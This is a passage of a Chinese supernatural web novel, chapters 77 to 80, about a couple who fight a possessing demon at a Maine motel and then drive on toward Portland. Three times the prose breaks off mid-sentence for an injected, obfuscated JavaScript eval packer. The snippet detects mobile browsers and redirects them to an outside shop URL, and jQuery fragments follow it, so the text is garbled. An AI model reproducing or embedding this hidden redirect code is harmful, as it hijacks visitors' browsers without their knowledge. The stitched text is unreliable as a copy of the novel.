千钧一发之际,莱纳德的额头、脸颊突然间一齐刺痛起来,皮肤下仿佛有什么东西被骤然激活,与此同时,耀眼的白光眨眼间便将他整个笼罩。 所有的响动归于沉寂。 77.第八章:夜惊 莱纳德眼泪直流,直到白光彻底褪去才勉强睁开眼睛,而烂脸人竟然已经倒在了地上,他眨眨眼睛,有种劫后余生的恍惚感。 后厨里,黑烟不见了,刚才还充斥在鼻腔的恶臭也消失无踪。 莱纳德捂着手腕走过去,倒在地上的并不是妖魔鬼怪,而是个穿花衬衫的矮胖男人,那张几秒钟前还犹如地狱猎犬般狰狞的脸,此刻有鼻子有眼,眉眼竟然还有几分熟悉——是楼梯口被他踩了一脚的那个男人,当时他穿的就是这身花衬衫,莱纳德想起来了。 可怎么会? 莱纳德在花衬衫旁边蹲下来,伸手指探了探他的鼻息和颈动脉,但估计手法不得要领,总觉得若有若无,正胡乱摸索,花衬衫忽然抻起脖子,发出一声尖锐的倒气,紧接着剧烈地咳嗽起来。 莱纳德连忙把花衬衫扶起来,对方眼睛瞪得老大,仿佛随时都会“咕噜”一声从眼眶里滚出来,鼻孔夸张地翕动着:“哦上帝啊上帝啊上帝啊它在我身体里,让它滚出去快滚出去啊!”一边猛抓自己胸口,力气之大,仿佛想给自己开个口子,莱纳德几乎要拉不住他。 “你没事了!喂,你没事了!”莱纳德右手手腕痛得快要断掉,还得按住眼前这个疯马一样的胖男人,恨不得一记勾拳送他去见睡神修普诺斯,“该死的,它已经走了!冷静点!” 花衬衫总算消停下来,躺在地上,像条搁浅的鱼似的喘着粗气,“它刚才在我身体里,老天爷啊,”他劫后余生地呻吟,眼睛里犹自闪动着恐惧之色,“我感觉到了。” “那你应该也感觉得到它离开了。”莱纳德不客气地说,松开花衬衫一屁股坐到边上,一番折腾下来,他整个人都快虚脱了,撑在地上的左胳膊抖得好像面条,右手更是连抬都抬不起来。阿西莫夫围在他身边喵喵直叫,被他挥手赶开:“别闹,不然压你身上。” 阿西莫夫无所畏惧地跳上他的膝盖,它爪子上还沾着盐粒,在他裤子上留下一串痕迹,好像韩赛尔和格雷特洒在森林里的面包屑。猫咪低头舔了舔他受伤的手腕,小动物粗糙的舌头卷过皮肤,激起一阵麻痒和战栗,莱纳德条件反射地缩回手:“别。” 阿西莫夫鄙夷地看了他一眼。 “呃,要糟。”花衬衫忽然嘟囔,说完这个词,他就翻身扭到另一边,“哇”的一声吐了出来。 “怎么回事?”等到花衬衫终于平复下来,莱纳德开口问他,“你刚才说什么东西在你身体里?” 花衬衫脸上的肌肉扭曲了一下,被冷汗浸湿的头发一缕一缕贴在额头上,好像刚打捞上岸的海草,他咬着牙,总算吐出一个打颤的音节:“它。” “它?”莱纳德略感无奈,“它是什么东西?长什么样?” 可花衬衫偏偏词穷了,憋了半天,喉头里咕哝出的还是:“就是……它。” “你是说,”莱纳德压低声音,仿佛这个词本身便蕴含有某种不祥的力量,他并没有意识到自己的脸色一下子变得苍白,“魔鬼?” “魔鬼。”花衬衫轻声说道,瞳孔活像两尾受惊的蝌蚪,在眼眶里颤动,过了一会儿,莱纳德才发现两个人都在屏息,空气里安静得落针可闻。 直到阿西莫夫不耐烦地叫唤起来。 莱纳德叹了口气,翻身爬起来,心想,这猫还真是天不怕地不怕。 晚些时候,道森警长再次光临蓝天汽车旅馆,旅馆老板简直不知如何是好,但他脸上的表情绝对不是受宠若惊。 “真的,只是一场闹剧罢了。”他向警长再三保证,“没有人受伤,连道划伤都没有,我损失了一些罐头、一个储物架,除此之外只是虚惊一场。” 道森敷衍地点点头,两只手的拇指插在腰带上,对老板说:“当事人呢?” “在房间里休息,警长。”老板的语气里流露出一丝克制不住的讥讽,但道森似乎并不在意,食指一弹:“介意把他们叫过来吗?我想我们最好还是聊聊。” “当然不。”老板挤出一丝笑容,转身走开了。 两分钟后,莱纳德和花衬衫一齐来到大厅,道森警长正百无聊赖地靠在前台上,拨弄一只招财猫的胳膊,看到他们,道森站直身体,用还算友好的语气对他们说:“又见面了,杜弗伦先生,泰特先生。” 他的目光从两人身上滑过,带着审视的意味,不紧不慢地说:“谁先讲?” 莱纳德和泰特面面相觑,泰特神经兮兮地摇了摇头,莱纳德只好主动站出来,把厨房里发生的事讲了一遍,最后说:“那黑烟不知道去哪儿了,也许是顺着下水道逃走了。” “顺着下水道逃走了。”道森用一种滑稽的语气重复莱纳德的话,然后抬起眼睛,严厉地看着对方,“你知道你刚才讲了个鬼故事,对吧?” “也许有鬼,那不错,”莱纳德镇定地回视警长,“但这不是故事,而是事实。” 道森把目光移向泰森,两道浓眉竖起来,像教导主任看到了顽皮捣蛋的学生,冷冰冰地问:“事实?” 可怜的泰特连说话的勇气都没有,只是连连点头,印花领口被汗水泅湿,也许还沾着些呕吐物,无精打采地倒在颈边。 “先生们,希望你们明白自己所处的环境,也明白是要对说出口的话负责的。”道森皱起了眉,他并不认为眼前的两个人在撒谎,事态超出了他的预期,很棘手,但就是这么回事。 “当然,警长,我们保证。”莱纳德说道,有些冲动地用食指在心口画了个十字,身旁,泰森夸张地哆嗦了一下。 “也许,你们该离厨房远点。”道森最后说,然后伸手点了点莱纳德,“还有平底锅。” 最后,警长总算高抬贵手允许两个人回屋休息,莱纳德本以为警长会打道回府,却没想到,他并没有离开。 这也直接决定了当晚事态的走向和结局。 晚上,莱纳德和奥多娜各自上床,但两人似乎都没有一丝睡意,却不约而同地没有继续谈论厨房里发生的事故,显然,有些事情并不是靠讨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699635|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 论就能得出结果的。 阿西莫夫卧在莱纳德的枕头边,团成一团,无忧无虑地打着呼噜。 当寂静像蛛网似的在屋里层层缠裹、累积,莱纳德终于忍不住开口,问奥多娜:“你白天准备得怎么样?” 奥多娜闭着眼睛,敷衍地回答:“就那样。” “我们的车修好了吗?” “还差得远呢。” “所以我们接下来还要继续住在这里?” “你出钱,你说了算,老板。” “跟钱没关系,我的意思是,继续住在这里的话,”莱纳德犹豫,“我们是不是该做点准备?总不能一直靠平底锅。” “听到了,乐佩。”奥多娜轻笑,她在黑暗里睁开眼睛,眸子亮晶晶的。 莱纳德在床上翻了个身,侧躺着,好看清楚奥多娜的脸,但房间里黑漆漆的,他只能看到奥多娜高挺的鼻梁和小巧的下巴在在黑暗中勾勒出的轮廓,不由得一阵心烦意乱,又翻了个身恢复正躺,用力瞪着天花板:“我是认真的,奥多娜,从95号公路游魂,到今天的闹鬼旅馆,不管是不是缅因州的错,我们都得承认这个地方有问题!” 他最后叹了口气:“我不觉得普通军火在这地方会比平底锅有更大用处。” 奥多娜的睫毛颤动着:“那你觉得应该准备什么?” “盐?”莱纳德还没想好就脱口而出。 奥多娜嗤嗤地笑起来,似乎觉得莱纳德的想法有趣极了:“为什么?因为魔鬼都是低钠怪物?” 莱纳德据理反驳:“因为我们曾经用盐消灭一个吃枪子都面不改色的拦路鬼?还有,在厨房对付那个怪物的时候,地上也有很多盐。” “放轻松,那是厨房,怪物和盐总得有一样。” “霍普!” 奥多娜摆摆手,正色道:“玩笑先放一边,不过你知道的吧,我既不相信上帝,也不相信这汽车旅馆里有人在不管是神灵还是魔鬼的庇护下扭断别人的脖子。” 她顿了顿,欣赏莱纳德脸上吃瘪的表情,这才话锋一转:“但我相信你的直觉,金毛儿,所以我们有一半弹药都是填装了粗盐的大口径子弹。” 莱纳德张了张嘴:“你怎么不早说?” 奥多娜嘻嘻一笑,反问:“早说还怎么看你这副怪好玩的样子?” 莱纳德终于忍不住翻了个白眼,正想说句什么话好反击,楼道里骤然响起一声凄厉的惨叫! “不好。”奥多娜像盒子小丑似的从床上一弹而起,敏捷地跳下床,往外冲去,“出事了。” 莱纳德本以为自己的反应速度算够快了,长时间跟着以利亚冒险,让他有了在很短时间内穿好衣服、拿起武器、做好战斗准备的能力,但跟奥多娜一比,莱纳德觉得自己还是嫩了点。 等他穿好鞋子推门出去,楼道里奥多娜早就没影了,连阿西莫夫都跑在了他前面。 而楼梯口则传来一声短促的闷哼。 是奥多娜! 78.第九章:谁是凶手 还没跑到楼梯口,莱纳德就看到了正在大厅里大打出手的三个人——奥多娜,旅馆的修理工光头凯恩,还有一个竟赫然是警长道森。 花衬衫泰特倒在楼梯口靠近地面的几级台阶上,两眼翻白,浑身抽搐,但眼下谁也没能顾得上他。 凯恩手里拎着根铁棍,夹着风朝道森兜头砸下,而道森竟悍然不惧,右手举枪,枪口对准奥多娜,后者连眼睛都没眨一下,抢在他扣动扳机前的刹那贴身欺上,一手硬推套筒卸掉膛里的子弹,另一只手卸下弹匣,利索地缴了对方的械。 道森怒吼一声扔掉空枪,往右侧摇闪,凯恩那一棍没能砸到他的头,但却结结实实地落在了肩膀上,他一条左手臂顿时垂了下去,再也抬不起来。 不等道森站稳,奥多娜已经借着刚才前冲的力道顶肩猛撞他肋下,顺势蹬踹给了凯恩一脚,凯恩被踹得身子一歪,第二棍擦着她的左胯砸到地面,发出“当”的一声巨响,凯恩拿捏不稳,铁根竟脱手飞出。 奥多娜胯骨一阵剧痛,第二脚便没能跟上,右肩猛地一紧,被道森的手掌像钢爪一样死死扣住,那只手紧跟着向上一滑,要去扼她的脖子。奥多娜早先肩膀上已经吃了凯恩一棍,道森这下直抓得她眼前一黑,差点痛晕过去,动作稍一慢,竟被对方占得先机猛下杀手。 电光火石之间,奥多娜抬手格挡护住喉咙,另一只手里已经多了把匕首,雪亮的刀光一闪,反手朝道森扎了过去。 “嗤”的一声,匕首划过道森的小臂肌肉,禁锢登时一松,奥多娜刚拧身摆脱对方控制,凯恩却又吼叫着冲上来,像个摔跤手似的打算把她拦腰扑倒,奥多娜矮身滚倒,顺势捡起地上的铁棍,在凯恩小腿前胫骨上用力一抽,对方立刻像个被击中的保龄球瓶似的倒了下去。 “都别动!” 莱纳德蓦地大吼一声,他手里抓着警长的枪,趁乱捡起了被奥多娜卸下的弹匣,拉动套筒给枪上膛,发出一声清脆响亮的“咔嗒”。 几秒钟前还生死相搏的三个人同时停下了动作,一齐抬头看向莱纳德。 “奥多娜,你还好吗?”莱纳德紧张地问,目光不敢离开另外两个大汉,尽管他们看起来都比奥多娜还惨得多。 奥多娜拎着铁棍爬起来,闷声回答:“还活着。” “小子,离她远点。”道森哑着嗓子说,啐出一口带血的唾沫,冷冷说道,“她被魔鬼附身了。” 莱纳德浑身一震,飞快地瞟了奥多娜一眼,后者神情如常,只是脸色有些过分苍白,她一边活动肩膀,一边哼笑着说:“别听他放屁,我们三个人里的确有一个被魔鬼附身了,或者说,至少有一个。”她的目光在对面两个人身上一一扫过,慢条斯理地说道,“公平地讲,谁都有可能是这个人。” “公平地讲,”凯恩喘着粗气,额头肿起老大一块,也不知是吃了谁的一记老拳,他瞪着奥多娜,说,“女人不可能有这么大的力气。” 奥多娜扬起下巴反唇相讥:“修理工也不可能精通棍法。”她说着瞟了道森一眼:“警察先生也没解释自己为什么大半夜会站在这个破旅馆里,朝无辜的美国公民开枪。” 莱纳德听到奥多娜说“无辜美国公民”的时候差点笑出来,但转念一想,笑意却立刻被冻结住—— 如果说出这句话的其实是附在她身上的魔鬼呢? 凯恩还想继续争论,警长忽然提高嗓门吼道:“够了!”他揉着右肩膀走上楼梯,蹲下去检查泰特的呼吸,眉头紧锁:“我们需要医生。”说完抬起头问莱纳德:“你知道这家伙被魔鬼附身了吧?” 莱纳德愣怔:“那是在厨房的时候,后来……” “别扯后来,”道森不耐烦地打断他,“事实最能证明一切,你以为你打击了魔鬼,”他冷哼一声,讥刺地重复道,“你以为你靠一把平底锅就打击了魔鬼,结果呢?魔鬼只是在他身体里蛰伏了下来,要不是我发现他半夜在楼道里乱转,只怕等不到天亮这地方就要再多一起命案了。” “蛰伏?”莱纳德悚然心惊,他看着倒在地上仿佛癫痫发作的泰特,随后把目光转向另外三人,“那现在呢?魔鬼从他身体里出来,钻进了你们其中一个的身体里?” 他忽然间心念一动,连手指都微微颤抖起来。 “宾果。”警长动动嘴唇,像是想笑,却被下嘴唇上的撕裂伤口阻止,变成一个扭曲的冷笑。“凯恩是当时最靠近泰特的。” 凯恩咬紧牙关,腮帮子高高鼓起:“是你先攻击我的。” 道森冷静地回视对方:“我有我的理由。” “怎么,就因为你是警察?”凯恩梗着脖子,“还是说,你是别的东西。”他故意把重音咬在“东西”两个字上,把道森气得脸都红了。 奥多娜一言不发地观察着两个人,最后抱起胳膊,说:“反正我是最后赶到的,那时候你们俩已经动起手来了。” 道森和凯恩一起看向她,道森先说:“要我说,女士,你最可疑,正常人看到两百磅的男人大打出手都不会轻易加入,我当了几十年警察,从没见过这种劝架方式,更何况,你还是个女人。”凯恩在一旁点头表示同意。 奥多娜一副被冒犯到的神情:“作为警察有这种想法,我真不介意让你深入了解一下女人到底能对两百磅的男人做些什么。” “够了!”莱纳德大声说,他捏着枪的手出了好多汗,握柄变得滑溜溜,目光在三个人身上打转,紧张地咽了口唾沫,“你们,回答我的问题,一个一个来。” 他先问奥多娜:“在听到楼道里有动静之前,你说的最后一句话是什么?” 奥多娜撇撇嘴,但还是配合道:“我说,不好,出事了。” 莱纳德又追问:“之前那句呢?” 奥多娜翻了个白眼:“我说你那副样子怪好玩的,结果你就这样举枪回报我,说实话,跟我想象的不太一样呢。” 道森和凯恩同时翻起了白眼。 莱纳德又转向道森:“警长,第一次见面的时候,你问了我几个问题?” 道森不耐烦地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707454|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拧起眉头:“这谁能记得?” 莱纳德追问:“你问我为什么住在这家旅馆,我是怎么说的?” 道森的眉头拧得更紧:“你说你是跟女朋友来旅游的,结果汽车抛锚……等等,你女朋友就是她?”道森下意识伸手去腰间摸枪,结果摸了个空,只好对莱纳德怒目而视:“你们两个到底是什么人?来绿湖镇有什么企图?” “我们是联邦调查局高级探员,警察先生,如你所见,来这里调查命案。”奥多娜冷笑。 “别帮倒忙了,亲爱的。”莱纳德叹了口气,预感到控制眼下的局面可能比想象中还要艰难。 “每个人都有秘密,我一向尊重这点,”道森慢慢地说,“但二位的表现让我实在做不到视而不见。” “还没看出来吗?警长。”凯恩抱起胳膊,“我们的山寨穆德和史考利根本就是一伙儿的。” 道森不置可否。 “我们俩是听到动静才出来的。”莱纳德把枪口转向凯恩,质问道,“你呢?半夜不睡跑出来干什么?为什么泰特会倒在这儿?” 凯恩冷酷地回答:“检查电路,这是我的工作,我每晚都会做。等我看到泰特的时候,他就已经是这样了,我过去是为了检查他是不是心脏病发作,然后,”他转向道森,“警长先生就袭击了我。” “你的铁棍从哪儿来的?”莱纳德问。 “我防身用的。” “你每晚检查电路都要带着撬棍防身?” “我有我的理由。” “介意跟我们分享一下吗?” 凯恩板起脸,但终于还是说:“因为白天的意外十年前也发生过。”他顿了顿,“除了我们都知道那不是意外。” “不是意外是什么?” 凯恩抬起眼睛:“魔鬼。” 道森表情一沉:“白天例行询问的时候为什么不告诉我?” 凯恩冷哼:“我说了你会信吗?” “如果那个魔鬼十年前就在这里,”奥多娜插口道,“你这个旅馆员工岂不是最有可能被附身的?” 道森也转向凯恩,沉声说:“我打你的第一拳只是警告,因为你当时的姿势不对劲,你看起来不像是想要救人。” 凯恩的表情扭曲起来,勉强辩解道:“如果我是魔鬼,现在我们自相残杀的局面会是我最想要看到的。”他顿了顿,又说:“我们为什么不问问拿枪的高级探员,他又是安着什么心思,才会幸灾乐祸地看我们狗咬狗。” “凯恩。”莱纳德把枪口对准凯恩,“你最好站在那儿,连一根头发丝都不要动,好吗?”他提高声音:“警长,从泰森那儿离开,到吧台去打电话叫救护车,我怀疑老板已经受到攻击了,不然不会这么久都不出来查看。” 凯恩咬紧牙关,腮帮子鼓得高高的:“小子,你犯大错了。” “我不这么觉得。”莱纳德微微一笑,他忽然竖起左臂贴到平举的右臂一侧,双臂恰好构成一个巨大的十字。 而十字正对着奥多娜。 79.第十章:再次上路 奥多娜夸张地哆嗦了一下,但只有短短一瞬,紧跟着,她便怒吼一声,挥动铁棍朝莱纳德砸了过去。 但莱纳德早有准备,抬枪、瞄准、射击一气呵成,一枪就打飞了奥多娜手里的铁棍,藏在口袋里的左手跟着挥出,将出门前装好的盐袋捏破用力洒了出去。 白色盐粒落在奥多娜脸上,却仿佛油泼滚水似的蒸腾出一股白眼,奥多娜顿时尖叫起来,捂着脸摔倒在地。 不等她倒地,莱纳德已经开始念驱魔咒语,这些诡异的词句他在95号公路就念过,这一次更加熟练,只听对方尖声惨呼,拼命扭动挣扎,一股黑烟从她嘴里激射而出,却在冲向天花板时撞到了某种屏障,顿时四散开来,转眼间便消散在了空气中。 “没事了,奥多娜,没事了。”莱纳德冲过去抱起奥多娜,手臂用力箍住不让她挣扎,“嘘、嘘、嘘,没事了,我在这儿。” “松手!”奥多娜的力气大得吓人,居然一把推开了莱纳德,可见在这一点上凯恩和道森的怀疑也不算空穴来风,她手脚并用地爬开几步,捂着喉咙干呕起来,好半天才脱力似的瘫坐在地上,呻吟道:“好恶心,妈的,接下来三天我都不吃饭了。” 莱纳德凑过去,安抚地拍了拍她的肩膀:“有惊无险。” 奥多娜翻了个白眼:“那鬼东西连‘联邦调查局高级探员’这种蠢话都说出来了,你还不紧不慢地玩猜猜凶手是谁。”说着愤愤地锤了莱纳德一拳:“我都快急死了。” “喂。”莱纳德吃痛退开,揉着胳膊,“你当时可是拿着撬棍呢,我哪儿敢随便就上?” 奥多娜嘀嘀咕咕:“算你枪法好。”她爬起来,朝道森和凯恩微微一点头,表示歉意:“幸好两位身手好,没出大事。” 凯恩上下扫了奥多娜一眼:“你身手也不赖。” 奥多娜撇嘴:“那不是我。” “我知道,”凯恩笃定地点点头,“但魔鬼可不会专门去练好几种格斗。”他抓起奥多娜的手摇晃几下,说来说去还是那句评语:“你不赖,很不赖。” 道森也矜持地接受了奥多娜的道歉,但显然不像凯恩那样对奥多娜的格斗技术赞赏有加,他转过头,警惕地问莱纳德:“你确定那东西被解决掉了?不会像之前泰特一样?” “当然。”莱纳德说着在心口画了个十字,虔诚地回答,“千真万确。” 没人再因为这个动作打颤。 莱纳德终于松了口气。 道森确认危机解除,果断叫来了急救车和警队后援,泰特在黑烟消失后很快就恢复了意识,警长本人反倒是五个人里受伤最重的,奥多娜着魔时给他的那一刀又快又狠,只差一点就割断了他的肌腱。 而旅馆老板并没有遇袭,但有人给他下了大剂量麻醉剂,此刻正在自己的房间里呼呼大睡。 钻进救护车前,道森对莱纳德说:“我知道,你们不是普通游客,”他严肃的目光从莱纳德转到奥多娜身上,又说,“但经过今晚这些事之后,我勉强相信你们不是坏人。” “谢谢。”莱纳德点点头。 “最后一句劝告,”道森钻进车里,又回过头,一双眼睛在夜色中闪着光,他最后说道,“尽快离开绿湖镇。” 莱纳德和奥多娜听从了警长的建议,福特卡车修好的当天,他们就一致决定整装上路。 “你的十字架戴好了吧?”上车后,莱纳德跟奥多娜再次确认——那天晚上的变故之后,保险起见,两个人各自戴了一条十字架项链。 “天呐,有些人只不过是不小心栽了一次,到底还要被人记多久?”奥多娜嘀嘀咕咕,白眼都快要翻上车顶,她用拇指把项链从衣领里拽出来,三百六十度无死角向莱纳德展示那个小巧的十字架,“第八百遍,戴好了,莱尼奶奶。” “小心驶得万年船嘛,”莱纳德说,一边发动汽车,“没准我们也应该搞一个驱魔刺身,就跟电视剧里那对爱驱魔的哥俩一样。” “什么电视剧?”奥多娜随口问道,照例对莱纳德熟悉的娱乐项目兴趣缺缺,莱纳德也习惯地随口回答:“没什么。” 奥多娜没追问,靠着椅背安静下来。 莱纳德也安静了一会儿,忽然没头没脑地说了一句:“别担心,会有用的。” 奥多娜莫名其妙地看他一眼:“什么会有用的?” “十字架。”莱纳德借着看右视镜瞟过去,目光一触即回,嘟囔道,“十字架能防住那些脏东西,那天晚上的事不会再发生了。” 奥多娜敷衍地点点头:“行吧。”她别开目光,专心地看起窗外的景色来。 莱纳德还没灰心:“关于那天晚上,你想聊聊吗?” 结果奥多娜冷若冰霜地回绝了他:“不想。” 莱纳德叹气:“你知道,这种事并不是只有你遇到过。”也并不是每个人都能平静地接受自己曾经被魔鬼附身,他每次想起在伦敦雨夜里陪着以利亚冒险的“自己”,也仍然会感到不寒而栗。 奥多娜这下把头扭了回来,放下抱在胸前的胳膊:“怎么,你也是幸运儿?” 莱纳德只好再次叹气:“我可不会用幸运儿这个词。” “少废话,展开讲讲。” 于是莱纳德把之前没讲给她的伦敦灵异事件说了一遍,讲到以利亚说“这几晚我们一直在一起”时,鸡皮疙瘩再次从后脖子上蜂拥而起,让他打了个激灵。 “那最后是谁帮你驱魔的?你自己?”奥多娜敏锐地问出关键问题。 “呃,没谁。”莱纳德目光躲闪了一下,心虚地说,“也没有驱魔,但那东西不在我身体里了,如果你想问的话,唉,这事说起来有点复杂,其实我自己都还没搞明白。” “会搞明白的。”奥多娜捏起自己的十字架项链,眸子里闪动着揶揄之色,“既然有这东西保护,我就姑且相信不会再有坏东西觊觎我的□□了。” 莱纳德嗤嗤地笑起来,想说句玩笑话,又忍住了。 “但万一,我是说万一,”奥多娜忽然又说,她不看莱纳德,目光平平地望着车窗外,语调十分严肃,“万一这个十字架不管用,最糟糕的情况发生了,你知道该做什么吧?” “呃,知道?”莱纳德脑子里想的是驱魔咒,但奥多娜的表情却像是在暗示另一种方式,她的下一句话直接让莱纳德毛骨悚然:“到时候千万别犹豫,不然对上职业特工的手段,你会连怎么死的都不知道。” 莱纳德半天没说话,倒是阿西莫夫软软地“喵”了一声,它趴在车后座上,一觉刚睡醒,好不悠闲。 奥多娜有意转移话题,反手一指:“为什么它不用戴十字架?”又眯起眼睛,嘀嘀咕咕地问:“这玫瑰花什么品种的,怎么一直不谢?” 猫咪抬起右爪揉了揉脸,大胆地跟她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719935|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对视。 “因为它是阿西莫夫,科幻小说之父,而我们都知道科学必然打败魔法。”莱纳德一本正经地说,然后无奈地笑起来,“好了,我都听到你翻白眼的声音了。” 奥多娜哼笑不语,她偏过头,像是忽然对车窗外飞快倒退的绿树产生了极大的兴趣。 过了好久,她才突兀地开口,问:“还有多久到波特兰?” “五个小时,如果路上不休息的话。”莱纳德回答,他从口袋里掏出那张写着地址和密码的纸条,递给奥多娜,问,“你能从这纸条里看出什么?拿着,我知道你早就看过了,让我听听职业特工的想法。” 奥多娜用两根手指夹住纸条,搓了搓:“纤维纸浆做的,做工不算细腻,但足够结实,没多少年头,不然就你这种保存纸的方法,再结实的纸也该碎成渣了。” “还有呢?” “上面的字是用羽毛笔蘸黑墨水写的,”奥多娜把纸条凑近闻了一下,立刻皱起鼻子,“算了,全是披萨味。” “还有呢?你倒是看看内容啊。” “嗯哼,舍尔曼大街169号,波特兰市,缅因州,地址很明确。SVN904-233。”奥多娜脸上神情若有所思,沉吟道,“倒是有点像我当年干特工时收到的任务单,上面这行是任务地址,下面这行嘛……”她思索片刻,摇摇头:“太短了,而且就算是密码,也需要对应的解密算法才能破译。” “只能走一步看一步了。”莱纳德在心里叹了口气,他实在不喜欢这种被人牵着鼻子走的感觉,尤其这一路经历的事情,简直像是小胡子巫师特意给他安排的热身活动——嘿,麻瓜们,欢迎来到魔法世界! 不管波特市等待他们的是什么,莱纳德预感,自己都不会喜欢。 不过他当时并没有想到,等待他的下一站并不是波特兰,而是比波特兰有趣得多、也危险得多的东西。 更不用说他们后来还遇到了以利亚,尽管当时所有人的处境都不太美妙,过程也跟莱纳德想得并不相同,但结局很棒。 两人在休息区享用了一顿高热量快餐,阿西莫夫甚至得到了一块生肉排,两人一猫都饱餐一顿,然后换奥多娜开车,距离目的地只剩下最后两小时车程了。 莱纳德爬到后座上睡觉,赶开了试图钻进他怀里的阿西莫夫,后者轻轻一跃跳上副驾驶位,恼怒地叫了一会儿,奥多娜从后备箱里翻出一条毛毯丢给莱纳德,然后不客气地吐槽:“吃了就睡,金毛儿,你要变成大胖子了。” 莱纳德有恃无恐:“我这种体型在金毛界可算是很苗条的了,哼,你就是不乐意我吃掉了最后几根薯条。”一边裹紧毯子,闭上眼睛嘟囔:“我要睡了,到地方再叫我。” “没问题,如果你真能睡着的话。”奥多娜在后视镜里挤挤眼睛,坏笑道,“可别忘了你现在躺着的地方发生过什么,说不定格雷戈就睡在你旁边呢,等等,你其实知道的吧?所以才把阿西莫夫赶走的,毛茸茸的小可怜。” 莱纳德朝他亮出手指:“霍普,你可真是个讨厌鬼。” 奥多娜哈哈大笑:“不用客气。” 莱纳德叹气:“我很确定我刚才不是在感谢你。” 奥多娜又说了些俏皮话,莱纳德闭着眼睛哼哼几声作为回应,但倦意气势汹汹地袭来,他的意识仿佛巧克力滑进了一块热黄油,不可阻挡地坠入了黑暗。 80.第十一章:海滨与森林 海滨公园里,阳光正好。 初冬的气温尚不寒冷,路两边的常青树绿意正浓,莱纳德深深吸了口气,湿润的植物香气立刻扑鼻而来,还夹杂着一丝淡淡的湖水腥味,他不由得精神一振,加快了脚步——天鹅湖就在前面不远处。 一阵喇叭声忽然迅速由远及近。 莱纳德往右边一闪,躲开一辆园区代步车,车上的小孩冲他大笑着比出胜利的手势,莱纳德心情正好,也挥挥手向他们致意,代步车风驰电掣地远去了。 “小屁孩,以为自己是秋名山车神呢。”莱纳德用鼻子嗤了一声。 他沿着林荫小道一路向前,游客逐渐多了起来,两个留长发、穿休闲西装的男生在举着相机四处拍照,几个打扮得很漂亮的姑娘从莱纳德身边走过,叽叽喳喳地聊着天,有个棕发妹一边悄悄瞟他,一边捂着嘴吃吃地笑。 莱纳德被她看得一阵不自在,低头看看自己的衣服,好像也没穿反,下摆也好端端地,领子里更没夹着袜子,忍不住纳闷,到底哪里出问题了? 虽然莱纳德在校园里也时常吸引女生的目光,但那只是个短暂的过程,之后他一般会直接得到对方的电话号码或者咖啡邀约,像这样盯着他偷笑的可没有,奇了怪了,他又不是喜剧演员。 而且,棕发妹并不是唯一一个向他投来异样目光的人。 莱纳德被路人看得浑身不自在,几乎是逃也是的来到天鹅湖边,时间还早,离约定见面还有七八分钟,莱纳德索性在一块不算干净的石块上坐下来,嶙峋的边缘隔着牛仔裤扎得他屁股生疼,大概正是出于这一原因,这块石头才没有游客光顾,而湖边其他地方都挤满了人。 阳光下,湖水呈现出某种翡翠似的质地——流动的翡翠,莱纳德心想,如果翡翠会流动,而且挤满了人类游船的话。 湖里的天鹅并不算多,靠近岸边的地方倒是有几只绿头鸭,远离湖心体型硕大的游船,悠然地梳理羽毛,莱纳德朝一只绿头鸭伸出手逗它,对方歪着脑袋打量了他一会儿,就不感兴趣地往远处游走了。 莱纳德忍不住微笑。 他忽然瞟到自己在湖里的倒影,顿时目瞪口呆,伸出去的胳膊僵在半空,他知道那些路人为什么会用异样的目光打量他了——那颗脑袋是他的脑袋没错,但上面的恶魔角可绝对不是原装货!那两只角弯弯的、颜色漆黑、布满奇怪的暗纹,就好像他不久前刚去参加了个恶魔进修班似的。 又或者,还要糟糕一百倍,是那个曾经附身他的东西从未离开。 莱纳德正努力鼓起勇气打算抬手摸一摸,肩膀上忽然一沉,一只手搭了上来。 “啊!”莱纳德受惊之下身子一歪,差点掉进湖里,幸好那只手及时抓住了他的胳膊,把他拽了回来。莱纳德惊魂未定地回过头,望向手的主人,一颗心顿时从胸口蹿向嗓子眼,他用力闭上嘴,好让心脏和尖叫声不会直接从嘴巴里蹦出来。 是以利亚。 莱纳德发现,游客忽然间都消失了,湖里的绿头鸭也不见踪影,一时间,偌大的公园里只剩下他们两个。 身旁,以利亚低头望着他,那双深灰色的眼睛里有种风雨欲来的凝重之色,他默不作声地看了那么久,以至于莱纳德都以为他不会开口了,他才忽然声音沉沉地说道:“莱尼,没有人能欺骗死神。” 莱纳德悚然睁眼,一个热烘烘、湿哒哒的东西在他脸上蹭来蹭去,原来是阿西莫夫正用舌头舔他的脸。 “呃嗬,阿西莫夫,你真恶心。”莱纳德嫌弃地伸手推开猫咪,把脸上的口水擦干净,反手抹到猫毛上,坐起来问奥多娜,“我们到了?” 